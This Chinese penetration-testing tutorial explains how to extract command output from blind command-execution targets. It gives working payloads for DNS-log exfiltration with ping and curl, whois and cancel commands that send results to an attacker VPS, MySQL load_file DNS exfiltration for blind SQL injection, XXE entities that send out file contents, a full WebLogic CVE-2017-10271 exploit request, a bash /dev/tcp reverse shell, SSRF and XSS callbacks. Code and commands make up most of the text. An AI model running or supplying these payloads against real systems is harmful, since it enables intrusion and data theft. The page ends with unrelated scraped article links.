前言

在渗透测试的很多时候,我们可能都得不到数据的回显。由于得不到数据的回显,我们就无法进一步判断我们渗透测试的结果。所以本文告诉大家,在没有回显的时候,我们又该如何测试。

1.利用ping

ping `命令`.dnslog

有很多免费的dnslog使用,例如BurpSuite自带的模块——Burp Collaborator client,当然社区版没有这个功能,专业版的BurpSuite才具有。

Burp Collaborator client

还有免费的ceye.io、吐司等,这里不做过多的介绍,以Burp Collaborator client为例。
假如我们需要执行一个uname,我们先点击Copy to clipboard,接着组装我们的语句即可,最后执行它

Copy to clipboard

待它执行几秒钟,我们的Burp Collaborator client就会有回应

ping执行

回应

我们直接在本机执行uname验证一下

uname

2.利用curl

Win10和WinServer2016(或更高版本)均已默认自带curl

curl dnslog/`命令|base64|tr '\n' '-'`

curl dnslog/`命令|tr '\n' '-'`

执行

你会得到一个http的请求,在请求中就是命令执行的结果

curl结果

在某些极端情况下,你可能需要使用base64编码一下,因为可能某些命令返回的结果为中文

base64结果

去掉/、-以后,对结果进行还原就为命令执行以后的结果

原始结果

前面说的这些都是基于能解析host的时候执行的,然而在很多实际情况中,被渗透的机器根本不会配置dns。在不配置dns的情况下,dnslog就会失效,命令将返回uknown host,由于无法解析host,找不到dnslog的ip,我们也无法从dnslog平台获得命令执行的结果。请接着看下文。

3.利用whois

谈到whois,很多人的第一反应应该是查域名从属吧。其实不然,whois还可以用来回显命令执行的结果。

whois -h vps‘ip -p port `命令`

whois -h vps‘ip -p port `命令 |base64`

这里我们需要自行准备一台vps,其实就是有公网ip的机器,在机器上监听一个端口。例如我在我的vps上监听6666,且在目标机器执行一个uname
nc -l -p 6666 -vvv

监听6666

那么我们就在目标机器上执行如下命令(myip为我的vpsip)

whois -h myip -p 6666 `uname`

whois -h myip -p 6666 `uname |base64`

目标机

vps

如图就返回了我们的命令执行结果

4.利用cancel

其实除了whois以外,还有cancel可以利用

cancel -u "$(命令)" -h vps'ip:port

我们同样需要一台vps,在上面监听任意端口

目标机

攻击机

去除方框中的"my-jobs",即为命令回显结果

后记

那么这些东西可以配合哪些场景使用了?

1.SQL注入

当我们的SQL注入为盲注时,它可是不会返回结果的。

select load_file(concat('\\\\\\\\',(SQL语句),'.dnslog\\随便输入字母'))

众所周知,mysql中load_file是可以执行dns请求的,注意dnslog前面有个".",千万不要忘记了。

2.XXE

我们只需要把dtd文件换成下面的内容即可

#payload1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://dnslog/随便输入字母">
%remote;]>
<root/>
#payload2
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://dnslog/%file;'>"
>
%all;

3.RCE

前面的部分基本上都在展示执行命令,这里我们结合一下Weblogic XML Decoder反序列化(CVE-2017-10271)

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host:x.x.x.x:x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 640<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>命令</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

我们只需要替换一下上文中命令的部分为如下的任意一种(请注意html实体编码,payload默认为Linux,win需要修改/bin/bash为cmd或者cmd.exe,-c为/c)

html实体编码

ping `命令`.dnslog
curl dnslog/`命令|base64|tr '\n' '-'`
curl dnslog/`命令|tr '\n' '-'`
whois -h vps'ip -p port `命令`
whois -h vps'ip -p port `命令 |base64`
cancel -u "$(命令)" -h vps'ip:port

#直接反弹shell

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

所有的命令都需要注意转换html实体编码
例如原本的反弹命令为

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

转换后为

bash -i &gt;&amp; /dev/tcp/127.0.0.1/8080 0&gt;&amp;1

可以去这里转换:https://www.qqxiuzi.cn/bianma/zifushiti.php

4.SSRF

我们可以在需要的参数后面直接修改为vps'ip或者dnslog地址
如果你使用vps,那么你依然需要在vps上先执行监听端口
如果你使用dnslog,那么直接修改为dnslog地址
例如某参数为video_url,修改为如下

video_url=http://vps'ip:port

video_url=dnslog

5.XSS

使用如下Payload

<IMG SRC=# onerror=http://dnslog/随便输入字母>

干货|如何在无回显时渗透相关推荐

  1. 84.网络安全渗透测试—[SQL注入篇23]—[高级注入技巧-dnslog无回显注入]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.高级注入技巧 dnslog无回显注入 1.原理 2.dnslog平台 3.MySQL dnslog无回显注入 ...

  2. 浅谈PHP无回显命令执行的利用

    本文首发于先知社区 前言 在CTF题或在一些渗透测试中往往会遇到没有回显的命令执行漏洞,为了能更好的实现对无回显命令执行漏洞的利用,我对此进行了简单总结. 判断方法 命令执行可能会存在命令执行但没有回 ...

  3. XXE无回显攻击详解

    今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE无回显攻击详解. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权 ...

  4. 命令执行无回显的一些姿势

    前言 最近演练遇到了拿shell后,由于是延时注入,让我极其难受.于是,学习了一下命令执行无回显的一些姿势 windows环境 1.ping %USERNAME%.2plmqc.dnslog.cn 这 ...

  5. Python实现“按任意键返回”和无回显输入

    功能描述: 在某些应用场景中,需要实现"按任意键返回"这样的功能,在Python中如果使用内置函数input()的话必须有个回车键才表示输入结束,不够完美. 在msvrct标准库中 ...

  6. 翻译文章 | Just gopher it!无回显SSRF升级为RCE

    前言: 发现此漏洞的bug bounty团队不允许公开披露,因此我不会直接命名所涉及的程序. 我能说的是,这是在Hackerone运行时间最长.规模最大的bug赏金活动中发现的.多个Hackerone ...

  7. mysql注入 无回显_33. 注入信息无回显?(给盲注戴上眼镜)

    注入信息无回显?(给盲注戴上眼镜) 工具简介: 平常的漏洞检测或漏洞利用需要进一步的用户或系统交互.但是一些漏洞类型没有直接表明攻击是成功的.如Payload触发了却不在前端页面显示.(像ssrf,X ...

  8. mysql注入 无回显_XML外部实体注入2:无回显的XXE

    生如夏花之绚烂,死如秋叶之静美. -- 泰戈尔 <生如夏花> 0 1 XML基础 XML 首先要先说下 xml.xml 是一种可扩展的标记语言,主要就是用来传输数据的,你可以理解为就是一种 ...

  9. RCE篇之无回显rce

    原文链接:http://arsenetang.com/2021/07/23/RCE%E7%AF%87%E4%B9%8B%E6%97%A0%E5%9B%9E%E6%98%BErce/ RCE篇之无回显r ...

最新文章

  1. 如何优化cocos2d程序的内存使用和程序大小:第一部分
  2. Clojure开发OpenCV的简介
  3. 软件测试与评估:Keep/悦跑圈
  4. idea新建springboot后端到前端_基于SpringBoot+AntDesign的快速开发平台
  5. 22 为特性 采购申请凭证类型 解决第一个矛盾
  6. 【C语言 基础】什么流程控制?
  7. 【js】event(事件对象)详解
  8. Android:手把手教你打造可缩放移动的ImageView(下)
  9. 8s 配置session保持_分布式session共享解决方案
  10. 全网首发:麒麟平台更新时提示错误:无法解析域名“archive.kylinos.cn”
  11. 关于混合app 开发框架Ionic
  12. 2022年TikTok的9个变现模式
  13. 分布式系统技术难题--异地多活
  14. MSDC 4.3 接口规范(29)
  15. 如何做research和survey
  16. 创新型中小企业评价标准
  17. ETCP全国4000家停车场全部支持银联无感支付!
  18. ubuntu 下stl obj ply 3dx fbx等各种格式转pcd方法
  19. Win10 清除 PowerShell 历史记录
  20. 第2章 GIS空间分析的基本理论

热门文章

  1. MAP/REDUCE:Google和Nutch实现异同及其他
  2. hdu 1565 方格取数(1)
  3. 【进程的同步和互斥,看懂这张图就够了!】
  4. python asyncio回调函数_python回调函数用法实例分析
  5. 进阶Linux大佬的奠基石
  6. 城市地区级联二级下拉选择菜单js特效
  7. Fiddler对手机抓包
  8. load styles.php,wordpress后台管理超时没反应:load-scripts.php载入缓慢出错
  9. bean 属性设置默认值_activiti7源码分析之引擎初始化与Bean注入
  10. python 无法引用 tensorflow.keras_win10+anaconda安装tensorflow和keras遇到的坑小结